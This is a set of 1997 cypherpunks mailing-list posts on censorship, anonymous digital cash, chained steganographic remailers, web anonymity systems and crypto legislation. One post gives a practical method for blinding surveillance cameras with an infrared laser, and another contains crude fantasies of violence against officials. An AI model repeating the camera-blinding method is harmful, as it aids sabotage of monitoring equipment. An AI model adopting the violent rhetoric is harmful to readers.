q6kagRFFxPJlQIfDF28BsEP44TPOFCJMb+FbgXZH5ZANPndB+Qjbfz77MdWKsjhP
HANONjCmnZY=
=Caca
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 3 May 1997 18:22:59 +0800
To: cypherpunks@algebra.com
Subject: Re: Artikel about XS4ALL in New York
Message-ID: <Pine.LNX.3.91.970502201705.1060E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 2 May 1997, tank wrote:



> "A few years ago, we would have been portrayed as a band of dangerous
> anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> Trouw. "But now they have come to see that we are nice and quiet people
> really."

The only "nice people" are dangerous anarchists bent on destroying 
governments and buggering poloticians to death. (last part a personal 
preference of course, the author is totally straight but would 
nonetheless be distinctly amused to see any government official 
butt-raped to death)

> The company was instrumental in the creation of the Amsterdam Digital 
> The hotline is run by Internet users and providers. Unlike Britain's
> Internet Watch Foundation, the Dutch hotline doesn't censor any
> information nor does it ask the provider to do so. Hotline operators
> contact the author of the information and ask him to remove the
> offending content.  "If the author does not comply, we report him to
> the police, and he'll be prosecuted," said Rodriquez, who also is
> chairman of the Dutch Providers Association.

How very benevolent. Its nice to know that instead of censoring your 
pages they send in the jackbooted thugs to do it for them, then throw you 
in a nice 6x9 cell for the henious crime of displaying some .gifs or similar.
 
> "The Internet Watch Foundation forces the provider to remove the
> illegal content," he added. "This is a fundamentally different approach
> to responsibilities on the Internet. We think the author of the
> information is responsible for his own actions, not the provider."

And if he chooses not to remove the content you happen to find offensive?
If you truly believed in the rights of the author and publisher of the 
information you would think about it before sending in your own 
particular brand of thugs to "crush the mutiny".
 
> Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> comply, as it did a few weeks ago when it shut down a customer's home
> page called Neuroroom, which sold marijuana and other soft drugs in
> Holland and abroad.

Sometimes one really wonders why we bother to set up mirrors to allow 
freedom of information to users, when the owners of these servers, 
supposedly in favour of free speech, do not even have the strength of 
character or conviction to decide for themselves what they will allow on 
their servers rather than bending over for the long cock of the law...

> The company's commitment to support free expression and democratization
> of the Internet doesn't stop here. 

As far as I can see it hasn`t even started yet.


> Last fall when the Serbian
> government censored radio station B-92, XS4ALL helped design an
> Internet campaign and started to carry news broadcasts (in RealAudio
> format) that kept the rare opposition voice alive and the international
> public informed through independent accounts of the events occurring
> during the mass demonstrations in Belgrade.

I presume B-92 fell into line and matched the "requirements under law for 
obtaining a free-speech permit" before XS4ALL allowed this/

> "Basically any project we like gets free resources from XS4ALL,"
> Rodriquez commented.

And anyone who guarantees to publicly lick the boots of the benevolent 
owners in thanks for their support gets as much free space as they like?

Of course I believe in the right to free expression of anyone and if 
these thugs choose not to allow material they don`t like on their servers 
they have every right to remove it. I just don`t see that setting up 
mirrors to defeat blocks on sites that refuse to carry certain content is 
of any value in the fight for free speech. Sure, create a mirror of 
Radikal, but giving any credit or attribution to XS4ALL seems to be a 
poor choice. 

Paul "Still messing with mail apps so totally .sig-less" Bradley

 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 09:37:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com>
Message-ID: <v0302095daf90224fa770@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:30 pm -0400 on 5/2/97, Hal Finney wrote:

> Bob, if I understand you correctly, you've suggested that digital
> bearer instruments will in the long run actually be more efficient than
> conventional book entry based transaction models.  Anonymity will be
> cheaper than identified transactions.

Exactly. In the same way that physical bearer certificates were cheaper to
use than handwritten book entries. Before telegraphy, anyway. It was
telegraphy, more than anything else, which forced the creation of
book-entry settlement (using, actually, encrypted messages and prearranged
authentication codes), because you could do trades at a distance, which you
couldn't do with paper certificates. Database-enabled accounting was what
killed large and abstract value physical bearer certificates once and for
all. Especially when you could swap data sets with tape or disk packs from
machine to machine. (Notice I didn't say tax law. The book entries had to
be there before you could tax them. :-). Law follows reality, not the other
way around. We get the government we deserve [afford], a constituency of
idiots will elect one, and all that tosh.)

I claim that as you get closer to completely offline digital bearer
certificates, you bring back the competitive advantage of bearer
certificates. Right now, we're pretty much in the on-line digital bearer
certificate stage of things, but I'm claiming that even *that* makes it
possible to supplant very large pieces of the book entry hierarchy we've
managed to build in the industrial age. Particularly in the case of
peer-to-peer transactions over great physical -- or regulatory :-) --
distances.

> But, if digital bearer certificates of all kinds are, as you suggest,
> cheaper and more efficient than conventional ones, why can't we just
> use ordinary non-blinded digital instruments and ignore the identifying
> information?

I claim that the very futility of tracing those certificates creates the
greatest saving, especially if the only thing you really care about is
whether the trade will clear. The primary reason for keeping archives of
transactions is so that you can hire a cop to hunt down someone and send
them to jail when they stiff you. If you can't hunt them down, you don't
have to pay the cop. :-). Cops cost lots, as most people on cypherpunks
would agree. With a completely anonymous system like Chaum's, you *really*
have to trust the reputation of entity backing the certificates, but you
don't give a fig about who gives you the money itself. "Cash is King",
right? Since there are many more buyers and sellers than certificate
underwriters, and since the underwriter only keeps records of spent
certificates and not all transactions (and is probably expiring keys and
issues of certificates to keep the on-line storage load manageable), then
at least two sets of transaction book entries (those of the buyer and
seller) disappear, and the bookeeping load of the issuer is much less than
that of a typical book-entry intermediary like a clearinghouse. Not to
mention the offsetting book-entries of the clearing system linking multiple
clearing entities. Actually, that's more an artifact of a geodesic network,
and not of a digital bearer certifcate transaction system itself.

> This makes them less attractive from the privacy perspective, but what
> about from the point of view of the financial markets?  Can they just
> ignore the serial numbers and treat them as the bearer certificates you
> have been talking about?  (Don't real bearer certificates often have
> serial numbers on them?)

Yup. Actually, dollar bills have serial numbers. Bearer bonds had serial
numbers. That's how you controlled the amount in circulation, and could
detect some kinds of fraud, because the number of  certificates issued is a
published figure. But the serial number's not important from a privacy
perspective once a certificate changes hands several times, especially if
the population of certificates is large, like it is with dollar bills.
Even the coupons, the little bits you hacked off and sent in every quarter
to get paid interest, had serial numbers. However, notice that you didn't
need to know *who* was sending in the coupon.  The coupon itself was it's
own proof for redemption. You just sent back a check payable to the person
who sent in the coupon, or if the person, or person's messenger, showed up
physically, you paid cash. Remember $10,000, or $100K bills? That's what
they were primarily for. Cash settlement of things like large bond
transactions. Paper for paper.

Anyway, it's when you start registering certificates, and keeping track of
who owns what, that you get the cost explosion. In that case, you're right.
You could do it without blinding. Dan Simon's cash system for Microsoft
operates kind of like that. You can track the original purchaser at the
initial purchase, but after it's gone through a few secondary trades,
including ones with yourself, tracking them is pretty much impossible.
Chaum's current version of ecash has this, um, feature, which Ian Goldberg
has now conveniently dispatched. Frankly, the model I promote now, with a
book-entry bank as a trustee, has this problem, because you need a
book-entry account at your own bank to bring money on and off the net. Of
course, at some point, you could do this anonymously and in person at a
currency exchange, with a bag of cash. :-). Fortunately, as I said today in
a reply to Adam Back, when you create other assets on the net besides cash,
and can issue them in bearer form, the problem of requiring identity for
authentication goes away, because the book entries are no longer there
there to repudiate.

> Maybe this geodesic market you're talking about (which I don't understand
> at all) could work with current technology?

Moore's Law makes a given public network appear increasingly "geodesic",
like Bucky Fuller's geodesic structures,  because nodes (switches,
processors) are comparatively cheaper than lines to build. The geodesic
market is a market which lives on a geodesic network, which, as Moore's law
progresses, creates smaller and smaller financial entities -- eventually
automated ones -- as measured by asset size or cashflow. That's because a
given amount of money, invested in an increasingly larger swarm of
distributed hardware "nodes", can handle more transactions, and/or smaller
amounts of money, as processor prices drop.

I claim that a cash-settled, digital bearer certificate market is what will
function best on a geodesic network, because it costs less to run for the
reasons I outlined above.

I further claim that the most efficient digital bearer certificate is an
anonymous one.

You get anonymity because it's a waste of resources to keep track of people
who pay you in cash. And, if the system is strongly anonymous from the
outset (and perfect pseudonymity is functionally anonymous), you won't even
try.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 13:17:54 +0800
To: Jeff Barber <declan@well.com
Subject: Re: Bombs Away, from The Netly News Network
Message-ID: <v02140b09af9075621186@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:50 PM 5/1/97, Jeff Barber wrote:
>Declan McCullagh writes:
>>                                                   "A
>> member of the DoJ committee accessed a single web site
>> on the World Wide Web and obtained the titles of 110
>> different bomb-making texts."
>
>I wonder if this was a bookstore.  I did a search for "explosives"
>on amazon.com and came up with at least that many titles.  Only a
>handful were of the Anarchist's Cookbook ilk.  Most were academic or
>industrial studies; a few were from US Govt or Govt-affiliated
>organizations.

Probably Paladin Press. Publisher of such notables, as Hit Man: A technical
manual for independent contractors, a semi-fictional work with lots of
details (written by an anonymous woman, BTW).  See
http://www.paladin-press.com


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 3 May 1997 05:28:50 +0800
To: cypherpunks@cyberpass.net
Subject: chained stego & interfaces to remailers
Message-ID: <199705022113.WAA01710@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Introduction

(Skip down to "Chained Stego" if this intro is obvious for you)

Some users are in countries where crypto is illegal, and would still
like the ability to communicate with others on topics which are
considered illegal in their countries (an example being documenting
civil rights abuses).

For them using encryption is not an option unless they combine with
steganography.

Also in countries where using crypto is legal, people still would like
to have the ability to discuss topics which are considered illegal in
their country (an example exporting cryptographic code, perhaps)

For these users they do have the option of using encryption.  However
for some serious users of crypto, they may wish to hide the fact that
they are sending encrypted communications to anyone at all, as well as
hiding _who_ they are communicating with via mixmaster remailers, and
hiding the contents of their communications via the use of encryption.
Using remailers and using encryption shows up under traffic analysis
even in freer countries, and if you were using steganography, you
would be above suspicion, apparently never having sent an encrypted
message at all, or at least not having sent one during the time in
question.

A useful capability to address the needs of these classes of users
would be to be able to send messages to a remailer by
steganographically encoding them in publically published material,
Examples being: messages posted to USENET, messages posted to mailing
lists, material made available on web pages (text, images, audio
files), CUSeeMe video streams, etc.

Such a system would allow a person in a country where crypto is
outlawed to participate anonymously in discussions in the remaining
free parts of the world without appearing to be using cryptography.

The simple approach is to set up stego to remailer gateways which scan
newsgroups and mailing lists.  (It might be a useful to integrate this
function into the Eternity server, as it is already doing quite a bit
of scanning of newsgroups, and scanning newsgroups is relatively
expensive, so we may as well scan for multiple message types while we
are scanning).

So, to send an anonymous message, a person PGP encrypts their message,
and manipulates the encrypted message to remove the statistical
properties identifying it as a PGP message (by removing
"-----BEGIN..." headers, the fixed PGP formatting inside that, and the
bias caused by the use of RSA), PGP stealth version 2.x would be
suitable for this purpose.

Next a suitable steganographic encoding is required.  A simple method
would be perhaps an in-your-face approach, to include a randomly
distributed, randomly changing .sig:

==
Use a random number, go to jail, so lock me up already.
QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9
AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5
aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j
RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJARUDBRAySOsk

The stego remailer gateway has to be able to put back together the
multiple parts in the correct sequence.  The Date: field from the post
would be enough information to allow this.


Chained Stego

However there is another problem: the remailer gateway knows the
identity of the stego users.  The stego users therefore have to trust
the stego gateway not to tell the authorities in their country.  They
also have to trust that the gateway is not actually be run by their
own countries censorship board.  The price for misplacing trust and
revealing your use of encryption may be death in some of these
countries.

It would be nice if we could chain the stego function, so that the
amount of trust required of each element could be reduced, in a
similar way to chaining through remailers acheives this.

So (here we get to the actual content of this post, the above having
been introduction), we could arrange that the stego user encrypts with
a selection of stego gateways public keys.  The steps to send to
gateways A and then B are:

1. encrypt with B's public key, normalise output (with pgp stealth)
2. encrypt with A's public key, normalise output
3. encode normalised output from 2 into an innocuous looking USENET post

The process by which the stego message is recovered is then more
complex, and has higher overhead.  Each stego gateway has to scan
newsgroups for stego messages, and forward it's potential partially
decrypted stego messages to the other stego gateways.  Then each of
those remailers decrypts, and if the result is more stego noise, again
forward back to the other stego gateways.  The problem here is when do
we stop!  Remember if we pick a message, and apply our stego decoding
method to it we get something which looks indistinguishable to a stego
message whether there exists a stego message or not.

Also how much of USENET do we scan?  The stego gateways will be
sending a lot of partially decrypted potential stego messages between
themselves.

One potential solution to the infinite loop problem is to include with
the message a note to the gateway stating how many times this has been
decrypted.  After a few hops it can be discarded.  If the max hops is
2, and there are 3 gateways A, B and C.  The messages created by the
single encrypted message are:

round 1: A, B, and C decrypt and forward to each other

round 2: B, and C decrypt

     C discards the output; 
     B forwards the message to the requested remailer

(We presume that multiply encoding to the same remailer is not useful,
if A can decode by denormalising and decrypting twice, you may just as
well have addressed it to A normalised and encrypted once).  

B does not know which person's USENET post this came from.  He does
not know where it is going (to another USENET group via a chain of
remailers, or to an indivdual)

However B does know that remailer A knows who the message is from.

Presume there are n remailers.  For hops which go through h remailers,
collusion is required by all h remailers to obtain the identity of the
poster.  If the attacker owns k of those remailers, that is k of the
remailers are colluding to discover the identity of the stego user,
then the if k < h the attacker will never discover the identity of any
posters using chains of length h.

If k >= h the attacker will discover the identity of a stego user only
in cases where the chain includes all of the hops. (C(n,k) is choose k
of n function computed with n!/((n-k)!k!)

			k!(n-h)!
Prob = C(k,h)/C(n,h) =  --------
			n!(k-h)!

Some sample values, n = 8 values of h = hops, and k = no of rogue
gateways

h= \k|
hops\|   1   2   3   4   5   6  7
---------------------------------
  1  | .13 .25 .38 .50 .63 .75 .88 
  2  | .00 .04 .11 .21 .36 .54 .75 
  3  | .00 .00 .02 .07 .18 .36 .63 
  4  | .00 .00 .00 .01 .07 .21 .50 
  5  | .00 .00 .00 .00 .02 .11 .38 
  6  | .00 .00 .00 .00 .00 .04 .25 
  7  | .00 .00 .00 .00 .00 .00 .13 

Now interestingly it seems to me that this figure is per stego
message, so if you chose different gateway chains on each message your
cumulative chance of being caught would be worse than if you just
chose a chain and stuck to it.

You're trying to minimise your cumulative chance of being identified.
If you use a chain, and the jack boots don't kick down your door for a
few weeks, you hope it is a good chain.

Of course there is a chance that gateways could be taken over and your
chain would then become a compromised chain.  

An additional danger if a gateway is compromised and it's key is
revealed, the attacker can then go back through it's saved messages
and look for messages which came from the newly acquired gateway, or
went to it, to see how many more chains this compromises.  It would
seem like a good idea for the gateways to ensure forward secrecy by
re-keying reasonably frequently.

To do better than this, we could make the stego gateways to act like
middlemen remailers.  That is a gateway will always communicate with
other gateways via a remailer.  Now gateway B does not know which of
gateways A or C decoded the message from the newsgroup.  So he has to
attack them all.

Better still, the gateways can be completely hidden.  They can use a
message pool to communicate.  This has higher overhead, but now the
fact that gateway B knows either A or C decoded the message does not
help much because gateway B can't physically locate A and C.

An alternative to the suggestion of including a count of the number of
decryptions that have taken place so far to avoid infinite loops, is
to do the job probablistically.

Say that each remailer says that it will only accept mesages where the
low order 3 bits after decryption are "101".  This rule doesn't apply
to the first hop, which knows that the message hasn't circulated
anyway, as it has just pulled it from the newsgroup.  So the first
gateway decodes, forwards to the other gateways.  Each gateway
decodes, and if the desired bit pattern comes out, sends the decrypted
message to the other remailers.

This way we place no restriction on the number of hops, avoid
revealing who the first hop is explicitly, but ensure that the
messages which are not stego at all die naturally, and don't propogate
for ever between the gateways.

Also the "101" is likely enough to come up quite by chance, and the
number of actual stego messages is small compared to just ordinary
USENET posts that seeing a "101" doesn't prove anything conclusive
after 1 hop.  However after several hops (if an attacker owns several
of the gateways), the probability of getting multiple "101"s in a row
points increasingly to a stego message, whereas if we relied on a
header stating how many hops, no information would be leaked by the
attacker handling multiple hops in the middle of the chain.

So it's a trade off between lower overall overhead whilst allowing
multiple hops, whilst increasing the susceptability of the system to
leaked information to an attacker who owns multiple rogue gateways.

However these are all very high overhead because they have DC net like
overheads, you send a copy to everything to everyone always, so you
have a perfect mix.

You can trade off this security to obtain lower bandwidth.  Here's one
suggestion of how to do this.  Obviously we can't include with each
partial decryption instructions on who to remail it to (because if you
found some instructions, that would reveal immediately that it was a
stego message).  However, we can interpret the random bit patterns as
remailer instructions.  Say there are n gateways, we can number the
gateways consecutively and take the decrypted message mod n - 1 to
produce the index number of a gateway to send to next.  We can include
a count of decryptions so far to reduce overhead.

Another way to avoid infinite loops with this variation is to take the
decrypted message mod ((n - 1) + j), anything over n-1 gets discarded.
Messages naturally die out statistically at a speed determined by the
ratio of j / n - 1, after h hops there is probability:

	(j / n - 1) ^ h

that the message will get discarded.

Provided the stego users account for a small amount of traffic, their
use would likley be lost in the large pool of noise even if they stuck
to a particular chain.

Or they could themselves use normally distributed selections
of random chains.  However if they did this, their cumulative chance
of sending through only rogue gateways on one post would increase.

Interestingly this setup has different properties to mixmaster mixes,
with this arrangement traffic analysis gives you nothing, as the
inputs are hidden, and the traffic is perfectly normally distributed.
(Presuming that the stego users create random chains also).  Cover
traffic between gateways adds nothing.

You probably need cover traffic on output however, so that the
gateways send constant, or at least evenly distributed amounts of
traffic off into the remailer net, so that one persons posting can not
be correlated with exits from the gateway network.

Some delay in the gateway network would help also.  Random delay is
different to mixing in this instance because there is already lots of
mixing going on, the point is to ensure that an exit from the gateway
network is not observable at fixed time periods after posts from
particular suspected stego users.  If there are many users this should
average out.

Note also, that when a message does decode to a message, the gateway
should generate a random replacement message and forward that to a
random remailer with the same probability as for other non-decoding
messages, otherwise receiving a message would skew the statistics.

Given that the stego user has an interest in sticking to a chain, this
is less secure than sending copies of partially decrypted potential
messages to all gateways.  Either he doesn't stick to his chain, thus
increasing his odds of being detected, or he uses his fixed chain and
runs the risk that this statistic shows through.  If there are many
stego users each with different fixed randonly chosen chains, the fact
that chains are fixed would be less likely to reveal information as
the random chains would tend to cancel out, and themselves have the
same normal distribution as the non-stego traffic.

Comments?

More efficient ways to get around the weakness of a single remailer
gateway hop?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 13:29:50 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Privacy news: Oakland Cameras
Message-ID: <v02140b0caf907a774338@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>How do you hack a camera?

 Physically damaging the camera works, but can get you jail time.  A better
solution, if you have a nearby office window facing the cameras, is to use
a near-infrared laser (<$100) and blind camera.  A strong IR signal will
easily overwhelm the AGC circuit and cause the camera to behave as if its
pointed into the sun.  All video cameras contain an IR block, but it
generally isn't sharp enough to cut off an 850 nm diode laser.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:41:08 +0800
To: cypherpunks@toad.com
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <199705020937.KAA00881@server.test.net>
Message-ID: <v03007808af9094d14286@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:07 AM -0700 5/2/97, Robert Hettinga wrote:
>Yup. But the neat thing about them is they take pennies to clear, instead
>of quarters for paper checks. The other thing is, they're peer-to-peer.
>Credit cards aren't, remember? When was the last time you sold a car or
>house and took MasterCard in payment. :-).

Carlsen Subaru in Palo Alto has signs in their sales offices notifying
people that their agreement with their bank prevents them from taking
credit cards in payment for cars.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:37:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007806af908be629d5@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


There may be something in the view that there are enough laws already on
the books that if government agents want to give you grief, they can find a
way.  Adding another one is minor compared with preventing crypto
restrictions via executive order.  (How many laws did you break today?
Since I drove a car, I broke at least one.  With respect for the law gone,
the law has only fear, and that's a function of enforcement, and subject to
economic realities.)  YMMV.

Of course, getting rid of these kinds of laws is a project which is long
overdue starting and not adding new ones would be a good start.  (But
that's another rant.)


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:38:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com>
Message-ID: <v0300780aaf90985e1835@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


As Ian Goldberg has shown, you don't need blinding to meet the Digicash
online protocol.  Of course it is not anonymous, but it is a bearer
certificate.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 3 May 1997 08:01:49 +0800
To: hal@rain.org
Subject: Re: A new system for anonymity on the web
In-Reply-To: <199705022121.OAA01551@crypt.hfinney.com>
Message-ID: <199705022343.AAA02698@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney <hal@rain.org> writes:
> Adam Back, <aba@dcs.ex.ac.uk>, writes:
> > When Alice and Bob are online, consider that they are actually using
> > their bandwidth most of the time.  I know I do; if I'm not using it I
> > hang up, with pay per second phone lines, you're likely to.
> 
> Actually here in the U.S. most people have access to unmetered Internet
> access these days.  Local and national ISP's are almost always that way,

Yes I know, and I'm envious :-) My web viewing habits suffered badly
when I was no longer able to use univ equipment to play on a T1 all
day instead of write a thesis.  I suffered withdrawl symptoms.

> So the question will be whether the average person uses more than
> 1/n of the bandwidth available during the time he is connected.
> This will no doubt depend on the pricing model for Internet service,
> as you suggest.

You can't just average it though and get a true picture.  It will
cause degradation of the peak available bandwidth out of your modem.
You metioned browsing in flurries.  If your flurry coincided with
someone else's, you'd get a major slow down.  If someone downloads a
big file, for 15 mins, you're stuck at half speed for that interval.
You'll notice this stuff when you're browsing the web and it will be
annoying as hell!  Your actual available bandwidth will fluctuate
between 1/n and 1 where n is the no. of hops as people change their
bandwidth consumption.

The eternity server model allows anonymous browsing within the
eternity virtual web space.  To the extent that you trust the eternity
server if you have an eternity server running in your shell account
(provided that the webserver is apache).  If it's coming out of the
server's cache you're ok, if it's coming from a newspool on a disk
local to the server, you're ok.  Other than that you'll see the
accesses going out to dejanews or altavista.  But you can't cache all
of usenet some of the most hot stuff which you may not want to be
associated with is the sort of thing eternity is designed for.

Later versions of eternity perhaps can set up pipenets between
eternity servers and exchange cache contents, charge to keep data in
caches, and so form their own anonymous distributed database rather
than relying on news archives.  If you set up a pipenet between the
servers you could do something similar to what you describe below with
jondos.

> > Say have split the jondo in half, with two cooperating half-Jondos
> > acting as a single virtual jondo in such a way that someone with
> > root access on one machine but not the other, can't extract any
> > useful information by spying on that half of the jondo.
> 
> This is an intriguing idea.  Secure multiparty calculation protocols allow
> calculations to be made such that neither machine would have access to
> all the data.  It is an interesting question how this could be applied
> to the anonymous communication problem.
>
> In this specific case, if the Crowds system were enhanced so that
> end-to-end encryption was used (which seems very practical and
> useful), you could run a jondo on your PC whose only function was to
> link to the jondo on the ISP and then set up the additional path
> through the jondo net.  The path between your local PC jondo and the
> end one in the path would be encrypted, so even root on the local
> ISP could not see the contents of what you send down the jondo path.
> He might still be able to see when you were sending and when not,
> but he couldn't tell where it was going.

Viewed from outside the jondo net (where the jondos function on the
ISP) would be an opaque series of pipenets with contiuous bandwidth
consumption and a flurry of connections to web pages sprouting off
different jondos.  Your modem connection would be a small pipenet link
feeding into the large bandwidth jondo pipenet.  The flurrys would be
impossible to correlate with users.  To avoid placing all trust with
one jondo, you'd need bi-directional anonymous WEB traffic within the
jondo net with multiple layers of encryption, so that jondos don't
know where the data is going beyond the immediate hop.

You know we could do this if we were willing to pay for the bandwidth.
The ISPs probably won't like PipeNets though as they oversell and rely
on underutilisation of sold bandwidth.  If it worked out to a
reasonable price for the modem user to browse the web, it might be
viable.

> Yes, latency would be cumulative, and I just tested mine and found it
> was 160-220 ms, about the same as what you saw.  So running through say
> 5 jondos at the end of modem paths would add about a second of latency.
> I think this would be fine if it only happened once per web page, but
> almost intolerable if it was once per tiny picture.

Doesn't netscape do the right thing for what you want here?  I think
it's option to set maximum network connections (default 4) means that
it will open multiple sockets to fetch the images on the page in
parallel.  If you load a page with multiple largish pictures you can
see it happen as they all scroll down scan line- by scan line in
parallel.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 3 May 1997 13:06:08 +0800
To: cypherpunks@toad.com
Subject: Cyberstrike
Message-ID: <TCPSMTP.17.5.3.0.44.48.2780269260.1625931@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest...

 In> From: cleacy@execulink.com (Chris Leacy)
 In> Newsgroups: comp.infosystems.www.announce
 In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy
 In> Date: 30 Apr 1997 23:28:43 -0400

 In> CyberStrike: Version 1.13a First Public Release

 In> The first public alpha of CyberStrike was released today.
 In> It can be found at <URL:http://www.execulink.com/~cleacy>

 In> CyberStrike is a banner ad filtering, cookie cutting, HTTP
 In> header overriding proxy of a program.

 In> Whether for privacy concerns, or just to speed up your
 In> browsing, CyberStrike performs admirably well at it's task.

 In> Chris


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy
R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY
do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb
YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY
KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj
WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg==
=5TtH
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
